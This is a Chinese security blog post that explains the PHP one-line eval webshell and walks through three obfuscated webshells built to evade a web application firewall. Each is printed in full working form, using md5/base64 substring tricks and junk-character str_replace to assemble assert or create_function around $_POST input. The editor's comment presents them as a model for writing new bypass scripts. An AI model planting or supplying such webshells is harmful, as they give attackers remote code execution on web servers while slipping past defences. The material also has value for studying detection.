1.一句话的工作原理
首先我们看一下就常见的一句话。
<?php @eval($_POST[‘pass’])?>
单从php语法上理解,首先$_POST会获取post到服务器的参数名为pass的数据,然后eval会将$_POST获取的字符串按照php语法进行解析,这样我们通过各种php函数的组合使用就能通过中国菜刀等工具对服务器的文件进行操作,这也就是常见一句话的工作原理。
文章深入浅出玩转php一句话(含过waf新姿势)_网站安全_i春秋社区-分享你的技术,为安全加点温度对一句话的工作原理进行了深入分析,今天我们的重点不是一句话的原理,所以不做重点介绍。
2.过狗一句话
下面我将分析三个在学习工作中遇到的混淆过狗马,其思路大致相同。
<?php $csawa=substr(hash("md5","woshiA", false),-5,1); //分解步骤 //$csawa=substr(‘219be7b7544871c82a8a769169aavb58’,-5,1); //hash函数执行完毕后 //$csawa=’a’; //substr函数执行完毕后,得到字符串a //hash函数对字符串woshiA进行md5加密,然后subsrt函数获取加密后字符串,从倒数第五个字符开始,获取一个得到a。 $sgdas=substr(base64_decode("d29zaGlzYQ=="),-2,1); //分解步骤 //$sgdas=substr(‘woshisa’,-2,1); //base64_decode函数执行完毕后 //$sgdas=‘s’; //substr函数执行完毕后,得到字符串s //base64_decode对字符串d29zaGlzYQ==进行base64的解密,得到解密后的字符串以后,从倒数第二个字符开始获取一个字符,得到s $sasds=substr(base64_decode("d29zaGlzYTI="),-3,1); //分解步骤 //$sasds=substr('woshisa2',-3,1); //base64_decode函数执行完毕后 //$sasds='s'; //substr函数执行完毕后,得到字符串s //base64_decode对字符串d29zaGlzYTI=进行base64的解密,得到解密后的字符串以后,从倒数第二个字符开始获取一个字符,得到s $saswe=substr(hash("md5","woshie", false),-3,1); //分解步骤 //$saswe=substr('ab4660f0d04e6a1b1891ed85cc038e08',-3,1) //hash函数执行完毕后 //$saswe='e' //substr函数执行完毕后,得到字符串e //hash函数对字符串woshie进行md5加密,然后subsrt函数获取加密后字符串,从倒数第三个字符开始,获取一个得到e。 $udkar=substr(base64_decode("d29zaGly"),-1,1); //分解步骤 //$udkar=substr(‘woshir’,-1,1); //base64_decode函数执行完毕后 //$udkar=‘r’; //substr函数执行完毕后,得到字符串r //base64_decode对字符串d29zaGly进行base64的解密,得到解密后的字符串以后,从倒数第一个字符开始获取一个字符,得到r $aefft=substr(base64_decode("d29zaGl0YWFz"),-4,1); //分解步骤 //$aefft=substr(‘woshitaas’,-4,1); //base64_decode函数执行完毕后 //$aefft=‘t’; //substr函数执行完毕后,得到字符串t //base64_decode对字符串d29zaGl0YWFz进行base64的解密,得到解密后的字符串以后,从倒数第四个字符开始获取一个字符,得到t $ckt=$csawa.$sgdas.$sasds.$saswe.$udkar.$aefft; //分解步骤 //$ckt='a'.'s'.'s'.'e'.'r'.'t' //$ckt='assert'; //通过拼接字符串得到函数assert $ckt($_POST['cmd']); //分解步骤 //assert($_POST['cmd']); ?>
过狗马2:通过在函数中混入随机字符躲避关键字扫描
<?php $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); //字符串替换:替换sdtdrd_redpdldadcde里的d为空 得到函数str_replace $ef = $zk("z", "", "zbazsze64_zdzeczodze"); //调用$zk 字符串替换:替换zbazsze64_zdzeczodze里的z为空 得到base64_decode $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); //调用$zk 字符串替换:替换pcprpepaptpe_fpupnpcptpipopn里的z为空 得到create_function创建匿名函数 $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); //分解步骤 //$zvm=create_function(base64_decode(str_replace("le","","IEBleldlemFsKCleRfUE9TVFsnd2VuJ10pOw=="))) //拼接后的语句 //$zvm=create_function(base64_decode(IEBldmFsKCRfUE9TVFsnd2VuJ10pOw==))) //执行完str_sreplace函数后,返回base64加密后的字符串 //$zvm=create_function(@eval($_POST['wen'])); //执行完base64_decode 得到解密后的字符串 得到一句话木马 密码是wen $zvm(); //执行 ?>
过狗马3:类似于第二个,不做过多分析
<?php $uf="snd2Fqd"; $ka="IEBldmFsK"; $pjt="CRfUE9TVF"; $vbl = str_replace("ti","","tistittirti_rtietipltiatice"); //空格替换ti str_replace $iqw="WVqaSddKTs="; $bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); //空格替换k base64_decode (base64加密) $sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); //空格替换ctw create_function $mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); //$mpy =create_function('', base64_decode(str_replace("b", "",'IEBldmFsKCRfUE9TVFsnd2FqdWVqaSddKTs='))) //$mpy= @eval($_POST['wajueji']); $mpy(); ?>
以上三个马在发现时均能躲过xx狗,现在行不行请自行测试。
小编短评:
不出意外的话,现在应该已经失效了!其实我们主要学的,就是这种巧妙的思路。这对我们后续自己编写过狗脚本,会有很大的帮助。
本文作者:sn0w
转载请注明:即刻安全 » 三个混淆过狗一句话分析